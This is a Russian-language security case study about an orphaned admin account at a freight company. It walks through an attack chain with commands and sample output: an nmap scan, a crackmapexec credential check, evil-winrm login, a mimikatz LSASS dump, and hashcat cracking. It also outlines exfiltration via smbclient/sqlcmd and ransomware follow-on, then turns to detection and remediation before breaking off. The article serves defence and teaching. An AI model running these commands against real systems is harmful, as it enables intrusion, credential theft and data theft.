История простая и потому особенно показательная: региональный грузоперевозчик расстался с системным администратором без конфликта, забрал ноутбук, отключил почту — и на этом посчитал вопрос закрытым. На деле учётная запись с административными правами в системе диспетчеризации осталась активной почти год. Пароль никто не менял, потому что за это направление формально отвечал сам уволенный сотрудник, а передать задачу оказалось некому.
Разберём, почему такая, казалось бы, бытовая недоработка технически равносильна открытой двери в серверную, и что происходит дальше, если этой дверью воспользуется не аудитор, а злоумышленник.
Где именно была дыра
Система диспетчеризации у таких компаний почти всегда — это одна из типовых конфигураций: веб-панель на внутреннем или вынесенном наружу сервере, плюс доступ по RDP или VPN для администрирования, плюс СУБД (чаще всего MS SQL Server или 1С-сервер) с данными по маршрутам, накладным и клиентам. Учётная запись бывшего админа в таких схемах обычно обладает сразу несколькими критичными свойствами:
- она доменная или локальная административная — то есть даёт полный контроль над диспетчерским ПО;
- она же используется как сервисная учётка для доступа к базе данных;
- у неё есть внешний доступ (RDP/VPN), потому что администратор когда-то работал удалённо;
- про её существование, кроме уволенного сотрудника, никто толком не знал.
Это классический пример «orphaned account» — осиротевшей учётки, которая пережила своего владельца в организационном смысле, но не в техническом.
Сколько это стоило бы в рублях
Оценка владельца компании — 400–600 тысяч рублей за один серьёзный сбой на сутки — на практике даже консервативна. В стоимость инцидента для транспортной компании такого масштаба обычно закладывается несколько слоёв:
- Прямые штрафы по контрактам за срыв сроков доставки — обычно фиксированный процент от суммы контракта за каждые сутки просрочки;
- Простой парка и диспетчерской — водители и техника, которые физически не могут получить актуальный маршрут;
- Репутационные потери — уход одного-двух крупных B2B-клиентов после инцидента обычно перекрывает по сумме сам штраф в 3–5 раз за счёт недополученной выручки в следующие месяцы;
- Стоимость утечки базы клиентов — при доступе с правами администратора можно выгрузить полную базу контрагентов, маршрутов и ставок, что напрямую конвертируется в потерю конкурентного преимущества.
При этом сама атака, если бы её реализовал не консультант, а злоумышленник, не потребовала бы ни эксплойтов, ни дорогого инструментария — только знание, что доступ всё ещё жив.
Как это эксплуатируется — по шагам
Сценарий, по которому действовал бы реальный атакующий (например, бывший сотрудник с обидой или купивший доступ брокер начального доступа), выглядит примерно так.
1. Разведка периметра
nmap -Pn -sV -p 21,22,80,443,445,1433,3389,8080 dispatch.example-corp.local
PORT STATE SERVICE VERSION
80/tcp open http IIS 10.0
443/tcp open ssl/http IIS 10.0
1433/tcp open ms-sql-s Microsoft SQL Server 2016
3389/tcp open ms-wbt-server Microsoft Terminal Services
Открытый наружу 3389 без ограничения по IP и без VPN-туннеля — типичная находка в таких компаниях. Это уже само по себе повышенный риск: аналогичная конфигурация в 2019 году массово била по инфраструктурам через CVE-2019-0708 (BlueKeep) — RCE в службе удалённых рабочих столов без аутентификации.
2. Проверка валидности старой учётки
Зная логин уволенного администратора (а это почти всегда известно бывшим коллегам, подрядчикам или самому увольняемому), проверяется, жив ли пароль:
crackmapexec smb 10.10.5.15 -u admin.ivanov -p 'OldPass2022!' --shares
SMB 10.10.5.15 445 DISP-SRV01 [+] example-corp.local\admin.ivanov:OldPass2022! (Pwn3d!)
SMB 10.10.5.15 445 DISP-SRV01 [+] Enumerated shares
SMB 10.10.5.15 445 DISP-SRV01 Share Permissions
SMB 10.10.5.15 445 DISP-SRV01 C$ READ,WRITE
SMB 10.10.5.15 445 DISP-SRV01 ADMIN$ READ,WRITE
Флаг Pwn3d! у crackmapexec означает, что учётка не просто действительна, а даёт локальные админ-права на хосте — именно то, что и обнаружилось в реальном кейсе.
3. Вход и закрепление
xfreerdp /u:admin.ivanov /p:'OldPass2022!' /v:10.10.5.15 /cert:ignore
или, если нужен «тихий» доступ без интерактивной сессии на рабочем столе:
evil-winrm -i 10.10.5.15 -u admin.ivanov -p 'OldPass2022!'
*Evil-WinRM* PS C:\Users\admin.ivanov\Documents> whoami /priv
SeDebugPrivilege Enabled
SeBackupPrivilege Enabled
SeRestorePrivilege Enabled
4. Разведка внутри и эскалация
Дальше в дело идёт связка mimikatz + BloodHound: дамп учётных данных из памяти LSASS и построение карты доверительных отношений в домене, чтобы понять, куда двигаться дальше — к контроллеру домена, к серверу 1С, к бэкапам.
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 892511 (00000000:000d99df)
Session : RemoteInteractive from 2
User Name : svc_dispatch
Domain : EXAMPLE-CORP
msv :
[00000003] Primary
* Username : svc_dispatch
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c
Полученный NTLM-хэш сервисной учётки прогоняется через hashcat офлайн:
hashcat -m 1000 svc_dispatch.hash rockyou.txt
8846f7eaee8fb117ad06bdd830b7586c:Logistics2023
Если сервисная учётка имеет права на контроллер домена, при устаревшей конфигурации Netlogon реализуется классический Zerologon (CVE-2020-1472) — обнуление машинного пароля DC и полный захват домена без знания какого-либо пароля вообще.
Полутехнические пруфы, по которым это ловится
Именно эти признаки в логах и стали ниточкой в реальном разборе:
- Event ID 4624 с типом входа
Logon Type: 10(RemoteInteractive) в 23:40 в субботу — с рабочей станции, которая давно должна быть списана; - Event ID 4672 — «Special privileges assigned to new logon» сразу после входа, что означает административные права у учётки, которая давно не должна их иметь;
- Event ID 4720/4726 отсутствуют вовсе — учётку никто не отключал и не удалял с момента увольнения;
- отсутствие записей в журнале об изменении пароля (Event ID 4723/4724) за весь период — пароль не менялся ни разу за 11+ месяцев.
Такие записи вытаскиваются одной командой прямо в PowerShell, без каких-либо SIEM-решений:
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} |
Where-Object { $_.TimeCreated.Hour -ge 20 -or $_.TimeCreated.Hour -le 6 } |
Select-Object TimeCreated, @{n='User';e={$_.Properties[5].Value}}
Что и почему сработало бы дальше
Если бы этой учёткой воспользовался не аудитор, а злоумышленник, логичное продолжение атаки выглядело бы так:
- Эксфильтрация базы клиентов и маршрутов через
smbclientили прямой экспорт из MS SQL с помощьюsqlcmd/bcp— база продаётся конкурентам или брокерам данных; - Массовое изменение расписаний и маршрутов прямо в диспетчерской панели — остановка десятков рейсов одновременно, требование выкупа за «возврат контроля»;
- Латеральное перемещение на файловый сервер с бухгалтерией и договорами через полученные административные права — с последующим шифрованием шифровальщиком (LockBit-подобным) для классического double extortion;
- Долгосрочное присутствие — создание новой скрытой учётной записи с правами администратора домена, чтобы даже после смены пароля старой учётки доступ сохранялся.
Ключевой момент: ни один из этих шагов не требует уязвимостей нулевого дня. Всё строится на одной организационной ошибке — незакрытом доступе.
Как закрыли
Практический план устранения занял несколько дней и включал следующие шаги, каждый из которых можно повторить в любой похожей инфраструктуре.
1. Немедленный отзыв доступа и ротация паролей
Disable-ADAccount -Identity admin.ivanov
Set-ADAccountPassword -Identity svc_dispatch -Reset -NewPassword (ConvertTo-SecureString "N3wStr0ngP@ss!" -AsPlainText -Force)
Remove-ADGroupMember -Identity "Domain Admins" -Members admin.ivanov -Confirm:$false
